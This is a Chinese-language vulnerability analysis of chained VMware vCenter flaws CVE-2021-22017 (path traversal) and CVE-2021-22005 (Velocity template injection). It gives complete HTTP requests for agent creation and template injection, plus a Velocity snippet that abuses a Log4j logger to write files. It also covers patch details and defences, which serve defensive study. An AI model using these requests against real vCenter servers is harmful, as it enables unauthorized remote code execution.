CVE-2021-22017+22005模板注入分析
字数 1546 2025-08-25 22:59:10
CVE-2021-22017+22005 VMware vCenter 模板注入漏洞分析与利用
漏洞概述
CVE-2021-22017和CVE-2021-22005是VMware vCenter Server中的两个安全漏洞,通过组合利用可以实现远程代码执行。这两个漏洞主要涉及:
- CVE-2021-22005:Velocity模板注入漏洞,存在于
/analytics/ph/api/dataapp/agent接口的collect功能中 - CVE-2021-22017:路径遍历漏洞,允许通过
/..;/绕过访问限制
漏洞背景
VMware vCenter Server是VMware虚拟化环境中的集中管理平台,这两个漏洞的组合利用允许攻击者在未授权的情况下执行任意代码。
漏洞分析
1. 受影响的接口
漏洞主要存在于以下两个接口:
-
createAgent接口:
POST /analytics/ph/api/dataapp/agent用于创建新的agent
-
collect接口:
POST /analytics/ph/api/dataapp/agent?action=collect用于执行Velocity模板渲染
2. 访问限制绕过 (CVE-2021-22017)
由于某些版本的vCenter对/analytics/ph/api/dataapp/agent接口做了访问控制,需要通过路径遍历绕过:
/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent
3. Velocity模板注入 (CVE-2021-22005)
collect接口处理manifestContent参数时,其中的mappingCode部分会被当作Velocity模板执行,导致模板注入漏洞。
漏洞利用步骤
1. 创建Agent
首先需要创建一个agent,每次请求需要修改X-Plugin-Type头部:
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: [target]
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: [unique_value]
Content-Length: 354
{
"manifestSpec": {
"resourceId": "b1",
"dataType": "b2",
"objectId": "b3",
"versionDataType": "b4",
"versionObjectId": "b5"
},
"objectType": "a1",
"collectionTriggerDataNeeded": true,
"deploymentDataNeeded": true,
"resultNeeded": true,
"signalCollectionCompleted": true,
"localManifestPath": "a2",
"localPayloadPath": "a3",
"localObfuscationMapPath": "a4"
}
2. 执行模板注入
创建agent后,通过collect接口执行Velocity模板:
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: [target]
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: [same_unique_value_as_create]
Content-Length: [length]
{
"manifestContent": "<manifest recommendedPageSize=\"500\">\n <request>\n <query name=\"vir:VCenter\">\n <constraint>\n <targetType>ServiceInstance</targetType>\n </constraint>\n <propertySpec>\n <propertyNames>content.about.instanceUuid</propertyNames>\n <propertyNames>content.about.osType</propertyNames>\n <propertyNames>content.about.build</propertyNames>\n <propertyNames>content.about.version</propertyNames>\n </propertySpec>\n </query>\n </request>\n <cdfMapping>\n <indepedentResultsMapping>\n <resultSetMappings>\n <entry>\n <key>vir:VCenter</key>\n <value>\n <value xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"resultSetMapping\">\n <resourceItemToJsonLdMapping>\n <forType>ServiceInstance</forType>\n <mappingCode><![CDATA[\n #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())\n #set($objectId = \"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\")\n #set($obj = $LOCAL-cdf20Result.newObject(\"vim.ServiceInstance\", $objectId))\n $obj.addProperty(\"MSG\", \"exist\")\n $obj.addProperty(\"OSTYPE\", $content-about-osType)\n $obj.addProperty(\"BUILD\", $content-about-build)\n $obj.addProperty(\"VERSION\", $content-about-version)]]>\n </mappingCode>\n </resourceItemToJsonLdMapping>\n </value>\n </value>\n </entry>\n </resultSetMappings>\n </indepedentResultsMapping>\n </cdfMapping>\n <requestSchedules>\n <schedule interval=\"1h\">\n <queries>\n <query>vir:VCenter</query>\n </queries>\n </schedule>\n </requestSchedules>\n</manifest>",
"contextData": "a2",
"objectId": "a3"
}
3. 利用GLOBAL-logger实现RCE
通过GLOBAL-logger变量(Log4j实例)可以实现文件写入:
#set($log=$GLOBAL-logger)
$log.setAdditivity(false)
$log.setLevel($log.getLogger().getLevel().INFO)
$log.getLogger().addAppender($log.getLogger().getRootLogger().getAppender("FILE"))
$log.info("恶意内容")
技术细节
1. Agent创建机制
创建agent时会生成一个配置文件:
/etc/vmware-analytics/agents/[agentId.getCollectorId() + pluginType + ".properties"]
agentId由四个参数决定:
- collectorId
- collectorInstanceId
- deploymentSecret
- pluginType
2. Velocity上下文变量
可用的上下文变量包括:
$LOCAL-resourceItem$LOCAL-cdf20Result$GLOBAL-logger(Log4j实例)$content-about-build$content-about-version
3. Velocity模板执行流程
- 解析manifest获取mappingCode
- 调用
VelocityHelper.executeVelocityExpression执行Velocity表达式 - 结果通过
VelocityJsonLd转换为JSON返回
补丁分析
VMware通过以下方式修复了这些漏洞:
- 完全删除了存在漏洞的
collect接口 - 在
DataAppAgentId类中添加了ID格式检查 - 添加了
IncorrectFormat异常处理
影响版本
受影响版本:
- vCenter Server 6.7(特定版本)
已修复版本:
- vCenter Appliance 6.7 Update 3k (6.7.0.45100)
防御建议
- 及时更新到最新版本
- 限制对vCenter管理接口的访问
- 监控异常日志文件创建行为
总结
CVE-2021-22017和CVE-2021-22005的组合利用展示了VMware vCenter Server中一个严重的安全问题,允许攻击者通过Velocity模板注入实现远程代码执行。理解这些漏洞的机制对于防御类似攻击具有重要意义。